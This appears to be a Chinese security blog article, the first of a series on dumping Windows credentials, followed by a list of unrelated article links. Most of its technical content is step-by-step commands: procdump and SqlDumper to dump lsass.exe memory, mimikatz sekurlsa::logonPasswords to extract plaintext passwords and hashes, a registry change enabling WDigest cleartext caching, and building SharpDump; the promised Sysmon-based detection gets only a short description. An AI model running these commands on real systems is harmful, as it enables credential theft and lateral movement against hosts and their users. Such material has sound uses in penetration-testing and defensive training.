windows凭证转储(一)
声明:公众号大部分文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载,如需转载,请联系开白!
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者及本公众号无关!!!
START
0x01前言
本节主要介绍几种windows系统环境下凭证转储的几种方式,以及通过日志如何去检查是否遭受到了凭证转储。
0x02相关概念
(1)凭证转储:从操作系统和软件中获取登录账号密码信息的过程,通过获取的凭证可以用来进行横向移动,获取受限信息,远程桌面连接等。 (2)lsass memory: 已登录用户的明文密码、Kerberos票证、Kerberos加密密钥、智能卡/令牌PIN代码、lm/ntlm哈希、dpapi域备份密钥、域信任身份验证信息、缓存的dpapi主密钥、缓存syskey(需要解密sam/lsa机密/缓存的凭据/ntds.dit)、明文pa存储在凭证管理器中的帐户密码。以上数据受到LsaProtectMemory保护。 (3)SAM (Security Accounts Manager):SAM是一个数据库文件,包含主机的本地帐户,通常使用“net user”命令找到的帐户。要枚举SAM数据库,需要系统级访问。 (4) 常见工具:Mimikatz、Invoke-Mimikatz、procdump、sqldump、sharpdump
0x03Sysmon 简介和使用
System Monitor (Sysmon)是一个Windows系统服务和设备驱动程序,以监视系统活动并将其记录到Windows事件日志中。提供了关于进程创建、网络连接和文件创建时间更改的详细信息。通过收集它使用Windows Event Collection或SIEM代理生成的事件,然后分析生成的文件记录,可以用来识别恶意或异常活动,并了解入侵者和恶意软件如何在您的网络上运行。
0x04获取系统口令
1) procdump+mimikatz 获取系统凭证详细步骤:
步骤一、procdump是微软的进程分析工具,用于针对目标主机系统进程进行打包,工具下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump。将procdump.exe 上传至目标主机,并执行:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
步骤二、将lsass.dmp 回传至本地,通过mimikatz进行解包,mimikatz工具是一个法国人所写的轻量级调试器。可以直接从 lsass.exe 里获取windows处于active状态账号明文密码:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
注:在windows 10 ,winserver2016 默认在内存缓存中禁止保存明文密码,密码字段显示为null,此时可以通过以下方法解决,但需要用户重新登录后才能成功抓取。 解决方式:修改注册表,等待用户再次登录,重复步骤1,2即可抓到明文:
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1
0x05常见进程转储方式
(1) procdump方式
Procdump是一个轻量级的Sysinternal团队开发的命令行工具, 它的主要目的是监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因。可以利用该工具获取在线进程数据。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsaaa.dmp" "sekurlsa::logonPasswords full" "exit"
(2) sqldump方式
SqlDumper.exe默认存放在C:Program FilesMicrosoft SQL ServernumberShared,number代表SQL Server的版本,如若目标计算机没有安装mssql,可以自行上传一个sqldumper.exe可执行件。
tasklist /svc |findstr lsass.exe
Sqldumper.exe 进程ID 0 0x01100
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" "exit"
(3) SharpDump方式
下载地址:https://github.com/GhostPack/SharpDump。下载下来的文件为源码,此时需要编译成可执行文件:
%SystemRoot%Microsoft.NETFrameworkv4.0.30319MSBuild.exe "D:工具mimikatzSharpDump-masterSharpDump.sln" /property:Configuration=Debug /t:build /p:VisualStudioVersion=14.0
进入c:windowstemp将debug.bin文件提取出来修改后缀bin为zip解压出来
mimikatz.exe "sekurlsa::minidump debug908" "sekurlsa::logonPasswords full" "exit"
- IntelliJ IDEA两种keymap快捷键方案Mac OS X和Mac OS X 10.5+的区别
- Apache Avro是什么干什么用的(RPC/序列化)
- 萌新刷题(十二)二叉树的前序遍历
- 轻松掌握ES6中集合Set的用法
- 萌新刷题(十三)买卖股票的最佳时机
- 萌新刷题(十一)有效数字
- Hive性能优化统计每日IP CREATE TABLE ip_2014_12_29 AS SELECT COUNT(DISTINCT ip) AS IP FROM logdfs WHERE logda
- 算法中描述复杂度的大O是什么意思?
- 优化Mysql:3个简单的调整
- Redis的5个常见应用场景
- Mysql 索引你了解多少?
- Mysql 8 新特性 window functions 有什么用?
- 用两张图告诉你,为什么你的App会卡顿?
- MapReduce设计模式
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 关于页更改并加入一些在线服务
- Hadoop-2.6.0为基础的Hive安装
- Python 技术篇-opencv读取中文路径图片报错及解决办法
- Javaweb鼠标事件案例分析—鼠标移入移出表格颜色变化
- docker registry V2私有仓库搭建
- Python 路径问题:cv2.error: OpenCV(4.1.0)...size.width>0 && size.height>0 in function 'cv::imshow'. 原因与解决
- 算法案例分析—字符串模式匹配算法
- Docker-软件工程集装箱技术
- PyQt5 技术篇-获取电脑屏幕桌面的宽、高和分辨率
- 使用Python快速抠图
- 值得白嫖的数据库常用操作语句汇总(数据库、数据表、数据操作)
- JavaScript 技术篇-js正则表达式匹配字符串左右两边是否包含空格
- 初入编程吓破胆?那是你还不懂这些!(高能预警)
- 振兴杯试题功能设计(准备)
- PyQt5 技术篇-Dialog窗口增加?问号按钮